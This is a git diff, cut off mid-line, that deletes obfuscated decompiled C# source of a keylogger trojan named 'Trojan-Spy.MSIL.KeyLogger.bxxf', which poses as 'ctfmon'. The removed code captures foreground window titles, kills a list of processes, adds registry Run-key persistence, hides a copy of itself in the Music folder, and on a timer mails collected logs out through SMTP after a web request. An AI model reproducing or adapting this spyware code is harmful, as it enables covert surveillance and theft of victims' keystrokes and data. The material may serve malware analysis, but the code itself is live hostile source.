\u0002.\u0002().\u0002()); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0002.cs deleted file mode 100644 index 16ad18a4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0003\u0002([In] object obj0, [In] Icon obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0003.cs deleted file mode 100644 index 1e5b1c27..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate Control.ControlCollection \u0003\u0003([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/Token20000A7.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/Token20000A7.cs deleted file mode 100644 index be618fd5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/Token20000A7.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token20000A7 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0004 -{ - internal class Token20000A7 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0001.cs deleted file mode 100644 index 55da8a91..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0001.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace \u0004 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0002.cs deleted file mode 100644 index a5aa5472..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0002.cs +++ /dev/null @@ -1,165 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0001; -using \u0004; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0004 -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 - { - private static readonly \u0002.\u0003<\u0004.\u0001> \u0001 = new \u0002.\u0003<\u0004.\u0001>(); - private static readonly \u0002.\u0003<\u0003.\u0003> \u0001 = new \u0002.\u0003<\u0003.\u0003>(); - private static readonly \u0002.\u0003 \u0001 = new \u0002.\u0003(); - private static \u0002.\u0003<\u0002.\u0001> \u0001 = new \u0002.\u0003<\u0002.\u0001>(); - private static readonly \u0002.\u0003<\u0002.\u0002> \u0001 = new \u0002.\u0003<\u0002.\u0002>(); - - [DebuggerNonUserCode] - static \u0002() - { - } - - [SpecialName] - internal static \u0004.\u0001 \u0002() => \u0002.\u0001.\u0002(); - - [SpecialName] - internal static \u0003.\u0003 \u0002() => \u0002.\u0001.\u0002(); - - [SpecialName] - internal static \u0002.\u0001 \u0002() => \u0002.\u0001.\u0002(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0001 - { - [NonSerialized] - internal static \u0002 \u0001; - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0001; - - [DebuggerNonUserCode] - [SpecialName] - public \u0004.\u0003 \u0002() - { - this.\u0001 = \u0002.\u0001.\u0002<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - - private static T \u0002([In] T obj0) where T : Form, new() - { - if ((object) obj0 != null && !obj0.IsDisposed) - return obj0; - if (\u0002.\u0001.\u0001 != null) - { - // ISSUE: type reference - if (\u001C\u0002.\u007E\u0088\u0003((object) \u0002.\u0001.\u0001, (object) \u0096\u0002.\u0017\u0003(__typeref (T)))) - throw new InvalidOperationException(\u0094.\u009E(\u0002.\u0001.\u0001(167), new string[0])); - } - else - \u0002.\u0001.\u0001 = new Hashtable(); - // ISSUE: type reference - \u0091\u0002.\u007E\u0087\u0003((object) \u0002.\u0001.\u0001, (object) \u0096\u0002.\u0017\u0003(__typeref (T)), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (\u009B\u0002.\u007E\u0091\u0002((object) ex) != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(\u0094.\u009E(\u0002.\u0001.\u0001(208), new string[1] - { - \u0089\u0002.\u007E\u0090\u0002((object) \u009B\u0002.\u007E\u0091\u0002((object) ex)) - }), \u009B\u0002.\u007E\u0091\u0002((object) ex)); - } - finally - { - // ISSUE: type reference - \u001B\u0002.\u007E\u008A\u0003((object) \u0002.\u0001.\u0001, (object) \u0096\u0002.\u0017\u0003(__typeref (T))); - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => \u001C\u0002.\u001D\u0002((object) this, \u001C\u0003.\u0083\u0004(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => \u008F.\u001E\u0002((object) this); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => \u0089\u0002.\u001C\u0002((object) this); - - static \u0001() => \u0001.\u0003.\u0002(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 - { - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals([In] object obj0) => \u001C\u0002.\u001D\u0002((object) this, \u001C\u0003.\u0083\u0004(obj0)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => \u008F.\u001E\u0002((object) this); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => \u0089\u0002.\u001C\u0002((object) this); - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0003 where T : new() - { - [SpecialName] - internal T \u0002() - { - // ISSUE: reference to a compiler-generated field - if ((object) \u0002.\u0003.\u0001 == null) - goto label_2; -label_1: - // ISSUE: reference to a compiler-generated field - return \u0002.\u0003.\u0001; -label_2: - // ISSUE: reference to a compiler-generated field - \u0002.\u0003.\u0001 = new T(); - goto label_1; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.cs deleted file mode 100644 index 14ce9317..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.cs +++ /dev/null @@ -1,535 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0001; -using \u0004; -using \u0005; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - internal sealed class \u0003 : Form - { - [NonSerialized] - internal static \u0002 \u0001; - private static List \u0001; - private IContainer \u0001; - private System.Windows.Forms.Timer \u0001; - private System.Windows.Forms.Timer \u0002; - private RichTextBox \u0001; - private string \u0001; - private string \u0002; - private Thread \u0001; - private string \u0003; - private string \u0004; - private \u0002 \u0001; - - [DebuggerNonUserCode] - static \u0003() - { - \u0003.\u0002(); - \u0003.\u0001 = new List(); - } - - public \u0003() - { - \u0086\u0003 obj1 = \u0086\u0003.\u0083\u0005; - \u0003 obj2 = this; - // ISSUE: virtual method pointer - FormClosingEventHandler closingEventHandler = new FormClosingEventHandler((object) obj2, __vmethodptr(obj2, \u0002)); - obj1((object) this, closingEventHandler); - \u008D\u0002 obj3 = \u008D\u0002.\u0084\u0005; - \u0003 obj4 = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj4, __vmethodptr(obj4, \u0003)); - obj3((object) this, eventHandler); - \u0003.\u0002((object) this); - string[] strArray = new string[9] - { - \u0003.\u0001(249), - \u0089\u0002.\u007E\u0090((object) \u0002.\u0002()), - \u0003.\u0001(258), - \u0089\u0002.\u007E\u008D((object) \u0086\u0002.\u007E\u008F((object) \u0002.\u0002())), - \u0003.\u0001(267), - \u008A\u0002.\u0095(\u0004\u0003.\u0001\u0003()), - \u0003.\u0001(288), - \u001F\u0003.\u0096((double) \u0004\u0003.\u009D\u0002() / 60000.0), - \u0003.\u0001(309) - }; - this.\u0001 = \u0080\u0003.\u008E\u0002(strArray); - this.\u0002 = (string) null; - this.\u0003 = (string) null; - this.\u0002(new \u0002()); - this.\u0002(); - } - - [DebuggerNonUserCode] - private static void \u0002([In] object obj0) - { - List weakReferenceList = \u0003.\u0001; - \u0010\u0002.\u001E\u0003((object) weakReferenceList); - try - { - if (\u0003.\u0001.Count == \u0003.\u0001.Capacity) - { - int index1 = 0; - int num = checked (\u0003.\u0001.Count - 1); - int index2 = 0; - while (index2 <= num) - { - WeakReference weakReference = \u0003.\u0001[index2]; - if (\u008D.\u007E\u001D\u0003((object) weakReference)) - { - if (index2 != index1) - \u0003.\u0001[index1] = \u0003.\u0001[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - \u0003.\u0001.RemoveRange(index1, checked (\u0003.\u0001.Count - index1)); - \u0003.\u0001.Capacity = \u0003.\u0001.Count; - } - \u0003.\u0001.Add(new WeakReference(\u001C\u0003.\u0083\u0004(obj0))); - } - finally - { - \u0010\u0002.\u001F\u0003((object) weakReferenceList); - } - } - - [DebuggerNonUserCode] - protected override void Dispose([In] bool obj0) - { - try - { - if (!obj0 || this.\u0001 == null) - return; - \u0010\u0002.\u007E\u0080\u0002((object) this.\u0001); - } - finally - { - \u008F\u0003.\u0086\u0005((object) this, obj0); - } - } - - private void \u0002() - { - this.\u0001 = (IContainer) new System.ComponentModel.Container(); - // ISSUE: type reference - ComponentResourceManager componentResourceManager = new ComponentResourceManager(\u0096\u0002.\u0017\u0003(__typeref (\u0003))); - this.\u0002(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0003(new System.Windows.Forms.Timer(this.\u0001)); - this.\u0002(new RichTextBox()); - \u0010\u0002.\u007E\u0007\u0005((object) this); - \u008F\u0003.\u007E\u0090\u0005((object) this.\u0002(), true); - \u0015\u0003.\u007E\u0091\u0005((object) this.\u0002(), 4000); - \u008F\u0003.\u007E\u0090\u0005((object) this.\u0003(), true); - \u0015\u0003.\u007E\u0091\u0005((object) this.\u0003(), 900000); - \u0005\u0002.\u007E\u0012\u0005((object) this.\u0002(), \u0019\u0003.\u0017\u0006()); - \u0018\u0002.\u007E\u0013\u0005((object) this.\u0002(), BorderStyle.None); - \u0087\u0003.\u007E\u009B\u0004((object) this.\u0002(), \u0090\u0003.\u0010\u0005()); - \u0005\u0002.\u007E\u0089\u0005((object) this.\u0002(), \u0019\u0003.\u0016\u0006()); - \u0018\u0003.\u007E\u009E\u0004((object) this.\u0002(), new Point(12, 46)); - \u001F\u0002.\u007E\u0001\u0005((object) this.\u0002(), \u0003.\u0001(318)); - \u008F\u0003.\u007E\u0014\u0005((object) this.\u0002(), true); - \u009C\u0002.\u007E\u008A\u0005((object) this.\u0002(), RichTextBoxScrollBars.ForcedBoth); - \u008F\u0003.\u007E\u0011\u0005((object) this.\u0002(), false); - \u001B\u0003 obj1 = \u001B\u0003.\u007E\u0002\u0005; - RichTextBox richTextBox = this.\u0002(); - Size size1 = new Size(272, 215); - Size size2 = size1; - obj1((object) richTextBox, size2); - \u0015\u0003.\u007E\u0003\u0005((object) this.\u0002(), 2); - \u001F\u0002.\u007E\u008C\u0005((object) this.\u0002(), \u0003.\u0001(327)); - \u0011\u0003.\u007E\u000E\u0005((object) this, new SizeF(6f, 13f)); - \u0019\u0002.\u007E\u000F\u0005((object) this, AutoScaleMode.Font); - \u0005\u0002.\u007E\u0018\u0005((object) this, \u0019\u0003.\u001A\u0006()); - \u008F\u0003.\u007E\u0098\u0004((object) this, false); - \u001B\u0003 obj2 = \u001B\u0003.\u007E\u001A\u0005; - size1 = new Size(296, 304); - Size size3 = size1; - obj2((object) this, size3); - \u008F\u0003.\u007E\u001B\u0005((object) this, false); - \u001A\u0002.\u007E\u0008\u0005((object) \u0003\u0003.\u007E\u009A\u0004((object) this), (Control) this.\u0002()); - \u0087\u0003.\u007E\u009B\u0004((object) this, \u0090\u0003.\u0010\u0005()); - \u008F\u0003.\u007E\u009D\u0004((object) this, true); - \u001D\u0002.\u007E\u0019\u0005((object) this, FormBorderStyle.FixedToolWindow); - \u0003\u0002.\u007E\u001C\u0005((object) this, (Icon) \u009D.\u007E\u0015\u0004((object) componentResourceManager, \u0003.\u0001(328))); - \u008F\u0003.\u007E\u001D\u0005((object) this, false); - \u008F\u0003.\u007E\u001E\u0005((object) this, false); - \u001F\u0002.\u007E\u0001\u0005((object) this, \u0003.\u0001(345)); - \u008F\u0003.\u007E\u007F\u0005((object) this, false); - \u008F\u0003.\u007E\u001F\u0005((object) this, false); - \u001F\u0002.\u007E\u0081\u0005((object) this, \u0003.\u0001(354)); - \u0014\u0002.\u007E\u0082\u0005((object) this, FormWindowState.Minimized); - \u008F\u0003.\u007E\u0006\u0005((object) this, false); - } - - [DebuggerNonUserCode] - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0002() => this.\u0001; - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0002([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj1 = this; - // ISSUE: virtual method pointer - EventHandler eventHandler1 = new EventHandler((object) obj1, __vmethodptr(obj1, \u0002)); - \u0003 obj2 = this; - // ISSUE: virtual method pointer - EventHandler eventHandler2 = new EventHandler((object) obj2, __vmethodptr(obj2, \u0002)); - if (this.\u0001 != null) - { - \u008D\u0002.\u007E\u008F\u0005((object) this.\u0001, eventHandler1); - \u008D\u0002.\u007E\u008F\u0005((object) this.\u0001, eventHandler2); - } - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - \u008D\u0002.\u007E\u008E\u0005((object) this.\u0001, eventHandler1); - \u008D\u0002.\u007E\u008E\u0005((object) this.\u0001, eventHandler2); - } - - [DebuggerNonUserCode] - [SpecialName] - internal virtual System.Windows.Forms.Timer \u0003() => this.\u0002; - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0003([In] System.Windows.Forms.Timer obj0) - { - \u0003 obj = this; - // ISSUE: virtual method pointer - EventHandler eventHandler = new EventHandler((object) obj, __vmethodptr(obj, \u0004)); - if (this.\u0002 != null) - \u008D\u0002.\u007E\u008F\u0005((object) this.\u0002, eventHandler); - this.\u0002 = obj0; - if (this.\u0002 == null) - return; - \u008D\u0002.\u007E\u008E\u0005((object) this.\u0002, eventHandler); - } - - [DebuggerNonUserCode] - [SpecialName] - internal virtual RichTextBox \u0002() => this.\u0001; - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - internal virtual void \u0002([In] RichTextBox obj0) => this.\u0001 = obj0; - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private void \u0003() - { - try - { - this.\u0004 = \u0089\u0002.\u0098(\u0007\u0002.\u007E\u0005\u0002((object) \u0083\u0002.\u007E\u0091((object) \u0002.\u0002()), \u0003.\u0001(363), \u0003.\u0001(436), (object) null)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.\u0004 = \u0003.\u0001(445); - \u000E\u0003.\u009D(); - } - } - - public static void \u0002([In] string obj0, [In] string obj1) - { - RegistryKey currentUser = Registry.CurrentUser; - RegistryKey registryKey = \u000E\u0002.\u007E\u0016\u0004((object) currentUser, \u0003.\u0001(482), true); - \u0008\u0003.\u007E\u0017\u0004((object) registryKey, obj0, (object) obj1, RegistryValueKind.String); - } - - [DebuggerNonUserCode] - [SpecialName] - private virtual \u0002 \u0002() => this.\u0001; - - [DebuggerNonUserCode] - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - private virtual void \u0002([In] \u0002 obj0) - { - \u0003 TargetObject = this; - // ISSUE: virtual method pointer - \u0002.\u0003 obj = new \u0002.\u0003((object) TargetObject, __vmethodptr(TargetObject, \u0002)); - if (this.\u0001 != null) - \u0002.\u0003(obj); - this.\u0001 = obj0; - if (this.\u0001 == null) - return; - \u0002.\u0002(obj); - } - - public void \u0004() - { - while (\u0099\u0002.\u009A(this.\u0004, \u0003.\u0001(543), false) != 0) - this.\u0005(); - } - - private void \u0002([In] object obj0, [In] EventArgs obj1) => this.\u0002().\u0002(); - - private void \u0005() - { - try - { - \u000F\u0002.\u0099\u0004(false); - if (\u0099\u0002.\u009A(this.\u0002, this.\u0002(), false) != 0) - goto label_3; -label_2: - this.\u0006(); - this.\u0007(); - \u0005.\u0001.\u0002(); - this.\u000E(); - return; -label_3: - RichTextBox richTextBox = this.\u0002(); - \u001F\u0002.\u007E\u008C\u0005((object) richTextBox, \u0081\u0003.\u008D\u0002(\u0089\u0002.\u007E\u008B\u0005((object) richTextBox), \u0003.\u0001(560), this.\u0002(), \u0003.\u0001(565))); - this.\u0002 = this.\u0002(); - goto label_2; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - } - - private void \u0006() - { - Process[] processArray = \u001E\u0002.\u0013\u0006(); - int index = 0; - while (index < processArray.Length) - { - Process process = processArray[index]; - try - { - string str = \u0089\u0002.\u007E\u0012\u0006((object) process); - if (\u0099\u0002.\u009A(str, \u0003.\u0001(574), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(587), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(600), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(609), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(622), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(635), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(652), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(665), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(674), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(679), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(692), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(705), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(714), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(723), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(692), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(736), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(741), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(758), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(771), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - else if (\u0099\u0002.\u009A(str, \u0003.\u0001(780), false) == 0) - \u0010\u0002.\u007E\u0015\u0006((object) process); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - checked { ++index; } - } - } - - private void \u0007() => \u0005\u0003.\u007E\u0006\u0002((object) \u0083\u0002.\u007E\u0091((object) \u0002.\u0002()), \u0003.\u0001(785), \u0003.\u0001(890), (object) 0); - - private void \u0003([In] object obj0, [In] EventArgs obj1) - { - try - { - \u0003.\u000F(); - \u0010\u0002.\u007E\u0004\u0005((object) this); - \u001F\u0002.\u007E\u0015\u0005((object) this.\u0002(), \u0003.\u0001(899)); - \u001F\u0002.\u007E\u0015\u0005((object) this.\u0002(), \u009E.\u008C\u0002(\u0003.\u0001(932), \u0093\u0002.\u0097(\u008E\u0002.\u0089()), \u0003.\u0001(949))); - \u000F\u0002.\u0099\u0004(false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - this.\u0001 = new Thread(new ThreadStart(this.\u0004)); - \u0010\u0002.\u007E\u0080\u0003((object) this.\u0001); - this.\u0008(); - this.\u0003(); - } - - private void \u0008() - { - Random random = new Random(); - string str = \u008A\u0002.\u0095(\u008F.\u007E\u0013\u0003((object) random)); - \u001F\u0002.\u007E\u0081\u0005((object) this, \u001F\u0003.\u0096(\u001D\u0003.\u0094(str) * 100.0)); - } - - private void \u000E() - { - try - { - if (!\u007F\u0002.\u007E\u0002\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u0089\u0003.\u008B\u0002(\u001E\u0003.\u0004\u0003(Environment.SpecialFolder.MyMusic), \u0003.\u0001(958)))) - \u0098\u0002.\u007E\u0004\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u008C\u0003.\u0095\u0004(), \u0089\u0003.\u008B\u0002(\u001E\u0003.\u0004\u0003(Environment.SpecialFolder.MyMusic), \u0003.\u0001(958)), true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - \u0003.\u0002(\u0089\u0002.\u007E\u0080\u0005((object) this), \u0089\u0003.\u008B\u0002(\u001E\u0003.\u0004\u0003(Environment.SpecialFolder.MyMusic), \u0003.\u0001(958))); - \u0004\u0002.\u0080\u0004(\u0089\u0003.\u008B\u0002(\u001E\u0003.\u0004\u0003(Environment.SpecialFolder.MyMusic), \u0003.\u0001(958)), FileAttributes.Hidden); - } - - private static void \u000F() - { - List stringList = new List(); - stringList.Add(\u0003.\u0001(975)); - stringList.Add(\u0003.\u0001(988)); - try - { - foreach (string str in stringList) - { - if (\u0099\u0002.\u009A(\u008C\u0003.\u009F\u0002(), str, false) == 0) - \u0097\u0002.\u009E\u0002(0); - } - } - finally - { - List.Enumerator enumerator; - enumerator.Dispose(); - } - } - - private void \u0004([In] object obj0, [In] EventArgs obj1) - { - WebClient webClient = new WebClient(); - string str1; - try - { - str1 = \u0016\u0003.\u007E\u0098\u0005((object) webClient, \u0003.\u0001(1001)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - try - { - \u0098\u0002.\u007E\u0003\u0002((object) \u0084\u0002.\u007E\u008E((object) \u0002.\u0002()), \u009E.\u008C\u0002(\u0003.\u0001(1034), \u0089\u0002.\u007E\u0080\u0005((object) this), \u0003.\u0001(1039)), \u0089\u0002.\u007E\u008B\u0005((object) this.\u0002()), false); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - \u000E\u0003.\u009D(); - } - try - { - if (\u0099\u0002.\u009A(\u0089\u0002.\u007E\u008B\u0005((object) this.\u0002()), (string) null, false) == 0) - return; - MailMessage mailMessage1 = new MailMessage(); - \u001F\u0002.\u007E\u009F\u0005((object) mailMessage1, \u0081\u0003.\u008D\u0002(\u0003.\u0001(1048), \u0093\u0002.\u0097(\u008E\u0002.\u0088()), 